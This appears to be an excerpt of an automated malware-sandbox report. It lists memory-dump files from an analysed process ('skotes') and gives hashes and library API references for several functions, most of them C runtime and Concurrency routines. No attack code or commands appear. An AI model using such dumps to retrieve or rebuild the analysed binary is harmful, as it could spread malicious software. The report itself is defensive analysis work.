Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 95d7fb512e65d19dc16a426e65ed63717a595f8d80f4fc36d865f31cb8f16b85
Instruction ID: e8fb9168804ccfcb4a7b22002ce7cd8acad94202f4aaf8c9425c46ea5423e03d
Opcode Fuzzy Hash: 95d7fb512e65d19dc16a426e65ed63717a595f8d80f4fc36d865f31cb8f16b85
Instruction Fuzzy Hash: D4313975A1030ADFCF10EF94C8C0BEE7BB9AB44390F1404AADD01AB246D770E959DBA0

Function 002C13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 002C13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 002C1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 002C147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 002C152A

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: c258b5af9775e1bf5648dce63d0f2aa479697363f2910d8421ec2da815aeecf5
Instruction ID: dcf6edb179a7b8345e8e072b45b994edb498372e721727a5d01e73e9ff89c999
Opcode Fuzzy Hash: c258b5af9775e1bf5648dce63d0f2aa479697363f2910d8421ec2da815aeecf5
Instruction Fuzzy Hash: 1A319371A206069BCF14DFA8C482AEDFBB1BF49710B14832DE516A7382CB349961CF90

Function 002ABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 002ABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 002ABBE4
_xtime_get.LIBCPMT ref: 002ABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 002ABC13

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: d0c1daf4013c0543da6bf31731d34636c906cb38c1db95ed46a730ad68f8f8df
Instruction ID: e088dc536fcf27c767425beedc75f2007a07f0b1bc79f6f5d150e2cc8168c853
Opcode Fuzzy Hash: d0c1daf4013c0543da6bf31731d34636c906cb38c1db95ed46a730ad68f8f8df
Instruction Fuzzy Hash: B0211D71A10119AFDF01EFA4DC859BEB7B9EF4A710F100026FA01AB251DF709D519BA0

Function 002B9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 002B9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 002B9CE8
std::bad_exception::bad_exception.LIBCMT ref: 002B9CFE
std::bad_exception::bad_exception.LIBCMT ref: 002B9D6A

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 08c2f8fb37c4df4bd00826e2d32be8779ee96af64a343b8ef6e0a1d40970c464
Instruction ID: 5ddac22e0b35a7f5a21758891f91ed8cf5a68d98473a039b39136eced090bb9c
Opcode Fuzzy Hash: 08c2f8fb37c4df4bd00826e2d32be8779ee96af64a343b8ef6e0a1d40970c464
Instruction Fuzzy Hash: 3C21D6719202169FCB04FF65D582DDDBBB0BF05350B60406AF201AB262DF31ADA1CF51

Function 002BA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 002BA069

Part of subcall function 002BB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 002BB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 002BA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 002BA0CB

Part of subcall function 002BAB41: List.LIBCONCRT ref: 002BAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 002BA0DB

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
